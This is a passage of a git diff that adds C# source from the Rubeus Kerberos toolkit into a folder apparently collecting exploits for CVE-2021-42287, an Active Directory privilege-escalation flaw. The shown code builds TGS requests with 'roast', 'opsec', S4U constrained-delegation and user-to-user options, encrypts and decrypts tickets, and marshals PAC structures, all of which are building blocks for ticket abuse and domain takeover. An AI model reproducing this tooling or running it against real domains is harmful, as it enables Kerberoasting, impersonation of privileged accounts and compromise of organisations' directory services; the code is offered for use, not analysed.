PA-DATA OPTIONAL + // -- NOTE: not empty --, + // in this case, it's an AP-REQ + // req-body [4] KDC-REQ-BODY + //} + + public class TGS_REQ + { + public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false, KRB_CRED tgs = null, string targetDomain = "", bool u2u = false) + { + TGS_REQ req; + if (u2u) + req = new TGS_REQ(!u2u); + else + req = new TGS_REQ(!opsec); + + if (!opsec && !u2u) + { + // set the username + req.req_body.cname.name_string.Add(userName); + } + + // get domain from service for cross domain requests + // if not requesting a cross domain TGT (krbtgt) + string[] parts = sname.Split('/'); + if (String.IsNullOrEmpty(targetDomain)) + { + if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt") && (tgs == null) && parts[0] != "kadmin") + { + if (parts[1].Split('.').Length > 2) + { + targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); + + // remove port when SPN is in format 'svc/domain.com:1234' + string[] targetParts = targetDomain.Split(':'); + if (targetParts.Length > 1) + { + targetDomain = targetParts[0]; + } + } + if (String.IsNullOrEmpty(targetDomain)) + targetDomain = domain; + } + else if (enterprise) + { + targetDomain = sname.Split('@')[1]; + } + else + { + targetDomain = domain; + } + } + + // the realm (domain) the user exists in + req.req_body.realm = targetDomain.ToUpper(); + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + // real traffic have these etypes except when requesting a TGT, then only + else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) + { + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + if (!String.IsNullOrEmpty(s4uUser)) + { + // constrained delegation yo' + if (u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_UNKNOWN; + } + else + { + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + req.req_body.sname.name_string.Add(userName); + } + + if (!opsec) + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; + + if (opsec) + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + } + else if (u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + } + else + { + if (enterprise) + { + // KRB_NT-ENTERPRISE = 10 + // userPrincipalName + // sAMAccountName + // sAMAccountName@DomainNetBIOSName + // sAMAccountName@DomainFQDN + // DomainNetBIOSName\sAMAccountName + // DomainFQDN\sAMAccountName + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + req.req_body.sname.name_string.Add(sname); + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + } + else if (parts.Length == 1) + { + // KRB_NT_SRV_INST = 2 + // service and other unique instance (e.g. krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_string.Add(domain); + } + else if (parts.Length == 2) + { + // KRB_NT_SRV_INST = 2 + // SPN (sname/server.domain.com) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add(parts[0]); + req.req_body.sname.name_string.Add(parts[1]); + } + else if (parts.Length == 3) + { + // KRB_NT_SRV_HST = 3 + // SPN (sname/server.domain.com/blah) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; + req.req_body.sname.name_string.Add(parts[0]); + req.req_body.sname.name_string.Add(parts[1]); + req.req_body.sname.name_string.Add(parts[2]); + } + else + { + Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); + } + } + + if (renew) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; + } + + if (tgs!=null) + { + req.req_body.additional_tickets.Add(tgs.tickets[0]); + if (!u2u) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION | Interop.KdcOptions.CANONICALIZE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + } + } + + // needed for authenticator checksum + byte[] cksum_Bytes = null; + + // opsec complete the request body before the creation of the AP-REQ + if (opsec) + { + // set correct flags based on type of request + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + if (!unconstrained) + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + if (unconstrained) + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; + + // get hostname and hostname of SPN + string hostName = Dns.GetHostName().ToUpper(); + string targetHostName; + if (parts.Length > 1) + { + targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); + } + else + { + targetHostName = hostName; + } + + // create enc-authorization-data if target host is not the local machine + if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) + { + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + AsnElt authDataSeq = ifrelevant.Encode(); + authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + byte[] authorizationDataBytes = authDataSeq.Encode(); + byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); + req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data); + } + + // S4U requests have a till time of 15 minutes in the future + if (!String.IsNullOrEmpty(s4uUser)) + { + DateTime till = DateTime.Now; + till = till.AddMinutes(15); + req.req_body.till = till; + } + + // encode req_body for authenticator cksum + AsnElt req_Body_ASN = req.req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); + cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); + } + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); + req.padata.Add(padata); + + + // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when + // forming opsec requests as they require a checksum of the request body within the authenticator and the + // PADATA-TGS-REQ should go before the other PA-DATA sections + if (opsec && (!String.IsNullOrEmpty(s4uUser))) + { + // real packets seem to lowercase the domain in these 2 PA_DATA's + domain = domain.ToLower(); + + // PA_S4U_X509_USER commented out until we get the checksum working + PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce, paEType); + req.padata.Add(s4upadata); + } + + // add final S4U PA-DATA + if (!String.IsNullOrEmpty(s4uUser)) + { + // constrained delegation yo' + PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); + req.padata.Add(s4upadata); + } + else if (opsec) + { + PA_DATA padataoptions = new PA_DATA(false, true, false, false); + req.padata.Add(padataoptions); + } + else if ((tgs != null) && !u2u) + { + PA_DATA pac_options = new PA_DATA(false, false, false, true); + req.padata.Add(pac_options); + } + + return req.Encode().Encode(); + } + + // To request a TGS for a foreign KRBTGT, requires 2 different domains + public static byte[] NewTGSReq(string userName, string domain, string targetDomain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType) + { + // foreign domain "TGT" request + TGS_REQ req = new TGS_REQ(cname: false); + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); + req.padata.Add(padata); + + req.req_body.realm = domain; + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + PA_DATA padataoptions = new PA_DATA(false, true, false, false); + req.padata.Add(padataoptions); + + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(targetDomain); + + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; + + return req.Encode().Encode(); + } + + // maybe the function above can be combined with this one? + public static byte[] NewTGSReq(string userName, string targetUser, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType, bool cross = true, string requestDomain = "") + { + // cross domain "S4U2Self" requests + TGS_REQ req = new TGS_REQ(cname: false); + + // get domains + string domain = userName.Split('@')[1]; + string targetDomain = targetUser.Split('@')[1]; + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], providedTicket, clientKey, paEType); + req.padata.Add(padata); + + // which domain is the "local" domain for this TGS + if (cross) + { + if (String.IsNullOrEmpty(requestDomain)) + requestDomain = targetDomain; + + req.req_body.realm = requestDomain; + } + else + { + req.req_body.realm = domain; + } + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + PA_DATA s4upadata = new PA_DATA(clientKey, targetUser, targetDomain); + req.padata.Add(s4upadata); + + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + req.req_body.sname.name_string.Add(userName); + + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; + + return req.Encode().Encode(); + } + + public static byte[] NewTGSReq(byte[] kirbi) + { + // take a supplied .kirbi TGT cred and build a TGS_REQ + + return null; + } + + + public TGS_REQ(bool cname = true) + { + // default, for creation + pvno = 5; + + // msg-type [2] INTEGER (12 -- TGS) + msg_type = (long)Interop.KERB_MESSAGE_TYPE.TGS_REQ; + + padata = new List(); + + // added ability to remove cname from TGS request + // seemed to be useful for cross domain stuff + // didn't see a cname in "real" S4U request traffic + req_body = new KDCReqBody(c: cname); + } + + public AsnElt Encode() + { + // pvno [1] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); + + + // msg-type [2] INTEGER (12 -- TGS -- ) + AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); + msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); + + + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + List padatas = new List(); + foreach (PA_DATA pa in padata) + { + padatas.Add(pa.Encode()); + } + AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); + AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); + padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); + + + // req-body [4] KDC-REQ-BODY + AsnElt req_Body_ASN = req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // TGS-REQ ::= [APPLICATION 12] KDC-REQ + // put it all together and tag it with 10 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq); + + return totalSeq; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public List padata { get; set; } + + public KDCReqBody req_body { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Ticket.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Ticket.cs new file mode 100644 index 0000000..f98f6f6 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Ticket.cs @@ -0,0 +1,112 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class Ticket + { + //Ticket::= [APPLICATION 1] SEQUENCE { + // tkt-vno[0] INTEGER(5), + // realm[1] Realm, + // sname[2] PrincipalName, + // enc-part[3] EncryptedData -- EncTicketPart + //} + + public Ticket(string domain, string service) + { + tkt_vno = 5; + + realm = domain; + + sname = new PrincipalName(); + sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach (string part in service.Split('/')) + { + sname.name_string.Add(part); + } + } + + public Ticket(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 2: + sname = new PrincipalName(s.Sub[0]); + break; + case 3: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // tkt-vno [0] INTEGER (5) + AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno); + AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn }); + tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq); + + + // realm [1] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn); + realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq); + + + // sname [2] PrincipalName + AsnElt snameAsn = sname.Encode(); + snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn); + + + // enc-part [3] EncryptedData -- EncTicketPart + AsnElt enc_partAsn = enc_part.Encode(); + AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn); + enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq); + + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); + totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2); + + return totalSeq2; + } + + public EncTicketPart Decrypt(byte[] serviceKey, byte[] asrepKey, bool noAdData = false) { + var decryptedTicket = Crypto.KerberosDecrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, enc_part.cipher); + var encTicket = AsnElt.Decode(decryptedTicket, false); + return new EncTicketPart(encTicket.Sub[0], asrepKey, noAdData); + } + + public void Encrypt(EncTicketPart encTicketPart, byte[] serviceKey) { + + + //AuthorizationData ad_win2k_pac = new AuthorizationData(Interop.AuthorizationDataType.AD_WIN2K_PAC, pacs.Encode()); + //AuthorizationData ad_if_rel = new AuthorizationData(Interop.AuthorizationDataType.AD_IF_RELEVANT, ad_win2k_pac.Encode().Encode()); + //enc_part.cipher = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, ad_if_rel.Encode().Encode()); + } + + + public int tkt_vno { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + public EncryptedData enc_part { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TransitedEncoding.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TransitedEncoding.cs new file mode 100644 index 0000000..8309815 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TransitedEncoding.cs @@ -0,0 +1,70 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class TransitedEncoding + { + //TransitedEncoding ::= SEQUENCE { + // tr-type[0] Int32 -- must be registered --, + // contents[1] OCTET STRING + //} + public TransitedEncoding() + { + tr_type = Interop.TransitedEncodingType.NULL; + contents = new byte[0]; + } + + public TransitedEncoding(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + tr_type = (Interop.TransitedEncodingType)s.Sub[0].GetInteger(); + break; + case 1: + // just decode for now + contents = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // tr-type [0] Int32 + AsnElt trTypeElt = AsnElt.MakeInteger((long)tr_type); + AsnElt trTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { trTypeElt }); + trTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, trTypeSeq); + + AsnElt seq; + + // contents [1] OCTET STRING + if (contents != null) + { + AsnElt contentsElt = AsnElt.MakeBlob(contents); + AsnElt contentsSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { contentsElt }); + contentsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, contentsSeq); + seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { trTypeSeq, contentsSeq }); + } + else + { + seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { trTypeSeq }); + } + + seq = AsnElt.Make(AsnElt.SEQUENCE, seq); + + return seq; + } + + public Interop.TransitedEncodingType tr_type { get; set; } + + public byte[] contents { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Attributes.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Attributes.cs new file mode 100644 index 0000000..a628c88 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Attributes.cs @@ -0,0 +1,44 @@ +using System; +using System.IO; + +namespace Rubeus.Kerberos.PAC +{ + public class Attributes : PacInfoBuffer + { + + public uint Length { get; set; } + + public Interop.PacAttribute Flags { get; set; } + + public Attributes(PacInfoBufferType type) + { + this.Type = type; + } + + public Attributes() + { + Type = PacInfoBufferType.Attributes; + Length = 2; // always going to be 2? + Flags = Interop.PacAttribute.PAC_WAS_REQUESTED; + } + + public Attributes(byte[] data) : base(data, PacInfoBufferType.Attributes) + { + Decode(data); + } + + public override byte[] Encode() + { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(Length); + bw.Write((int)Flags); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) + { + Length = br.ReadUInt32(); + Flags = (Interop.PacAttribute)br.ReadInt32(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/ClientName.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/ClientName.cs new file mode 100644 index 0000000..ac72445 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/ClientName.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + public class ClientName : PacInfoBuffer { + public ClientName(DateTime clientId, string name) { + ClientId = new DateTime( + clientId.Ticks - (clientId.Ticks % TimeSpan.TicksPerSecond), + clientId.Kind + ); + NameLength = (short)(name.Length * 2); + Name = name; + Type = PacInfoBufferType.ClientName; + } + + public ClientName(byte[] data) : base(data, PacInfoBufferType.ClientName) { + Decode(data); + } + + public DateTime ClientId { get; set; } + public short NameLength { get; private set; } + public string Name { get; set; } + + protected override void Decode(byte[] data) { + ClientId = DateTime.FromFileTimeUtc(br.ReadInt64()); + NameLength = br.ReadInt16(); + Name = Encoding.Unicode.GetString(br.ReadBytes(NameLength)); + } + + public override byte[] Encode() { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(ClientId.ToFileTimeUtc()); + bw.Write(NameLength); + bw.Write(Encoding.Unicode.GetBytes(Name)); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/LogonInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/LogonInfo.cs new file mode 100644 index 0000000..5e97f46 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/LogonInfo.cs @@ -0,0 +1,38 @@ +using Rubeus.Ndr.Marshal; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Rubeus.Ndr; + +namespace Rubeus.Kerberos.PAC { + public class LogonInfo : PacInfoBuffer { + + public _KERB_VALIDATION_INFO KerbValidationInfo { get; set; } + + public LogonInfo() + { + Type = PacInfoBufferType.LogonInfo; + } + + public LogonInfo(_KERB_VALIDATION_INFO kerbValidationInfo) : this() { + KerbValidationInfo = kerbValidationInfo; + } + + public LogonInfo(byte[] data) : base(data, PacInfoBufferType.LogonInfo) { + Decode(data); + } + + public override byte[] Encode() { + _Marshal_Helper mh = new _Marshal_Helper(); + mh.WriteReferent(KerbValidationInfo, new Action<_KERB_VALIDATION_INFO>(mh.WriteStruct)); + return mh.ToPickledType().ToArray(); + } + + protected override void Decode(byte[] data) { + NdrPickledType npt = new NdrPickledType(data); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + KerbValidationInfo = (_KERB_VALIDATION_INFO)uh.ReadReferentValue(uh.ReadStruct<_KERB_VALIDATION_INFO>, false); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs new file mode 100644 index 0000000..f3f989c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs @@ -0,0 +1,1172 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Source Executable: c:\users\ceri.coburn\source\repos\playgrounddll\x64\release\playgrounddll.dll +// Interface ID: 4870536e-23fa-4cd5-9637-3f1a1699d3dc +// Interface Version: 1.0 +// Client Generated: 18/05/2021 21:28:48 +// NtApiDotNet Version: 1.1.30 + +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace Rubeus.Ndr { + + #region Marshal Helpers + internal class _Marshal_Helper : Rubeus.Ndr.Marshal.NdrMarshalBuffer { + public void Write_0(_PAC_DEVICE_INFO p0) { + WriteStruct<_PAC_DEVICE_INFO>(p0); + } + public void Write_1(_RPC_SID p0) { + WriteStruct<_RPC_SID>(p0); + } + public void Write_2(_RPC_SID_IDENTIFIER_AUTHORITY p0) { + WriteStruct<_RPC_SID_IDENTIFIER_AUTHORITY>(p0); + } + public void Write_3(_GROUP_MEMBERSHIP p0) { + WriteStruct<_GROUP_MEMBERSHIP>(p0); + } + public void Write_4(_KERB_SID_AND_ATTRIBUTES p0) { + WriteStruct<_KERB_SID_AND_ATTRIBUTES>(p0); + } + public void Write_5(DOMAIN_GROUP_MEMBERSHIP p0) { + WriteStruct(p0); + } + public void Write_6(_PAC_DEVICE_CLAIMS_INFO p0) { + WriteStruct<_PAC_DEVICE_CLAIMS_INFO>(p0); + } + public void Write_7(_CLAIMS_SET_METADATA p0) { + WriteStruct<_CLAIMS_SET_METADATA>(p0); + } + public void Write_8(_UPN_DNS_INFO p0) { + WriteStruct<_UPN_DNS_INFO>(p0); + } + public void Write_9(_KERB_VALIDATION_INFO p0) { + WriteStruct<_KERB_VALIDATION_INFO>(p0); + } + public void Write_10(_RPC_UNICODE_STRING p0) { + WriteStruct<_RPC_UNICODE_STRING>(p0); + } + public void Write_11(_USER_SESSION_KEY p0) { + WriteStruct<_USER_SESSION_KEY>(p0); + } + public void Write_12(_CYPHER_BLOCK p0) { + WriteStruct<_CYPHER_BLOCK>(p0); + } + public void Write_13(_PAC_INFO_BUFFER p0) { + WriteStruct<_PAC_INFO_BUFFER>(p0); + } + public void Write_14(_NTLM_SUPPLEMENTAL_CREDENTIAL p0) { + WriteStruct<_NTLM_SUPPLEMENTAL_CREDENTIAL>(p0); + } + public void Write_15(_PAC_CLIENT_INFO p0) { + WriteStruct<_PAC_CLIENT_INFO>(p0); + } + public void Write_16(_S4U_DELEGATION_INFO p0) { + WriteStruct<_S4U_DELEGATION_INFO>(p0); + } + public void Write_17(_PAC_CREDENTIAL_DATA p0) { + WriteStruct<_PAC_CREDENTIAL_DATA>(p0); + } + public void Write_18(_SECPKG_SUPPLEMENTAL_CRED p0) { + WriteStruct<_SECPKG_SUPPLEMENTAL_CRED>(p0); + } + public void Write_19(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_20(_KERB_SID_AND_ATTRIBUTES[] p0, long p1) { + WriteConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(p0, p1); + } + public void Write_21(DOMAIN_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray(p0, p1); + } + public void Write_22(int[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_23(byte[] p0) { + WriteFixedByteArray(p0, 6); + } + public void Write_24(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_25(byte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_26(byte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_27(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, 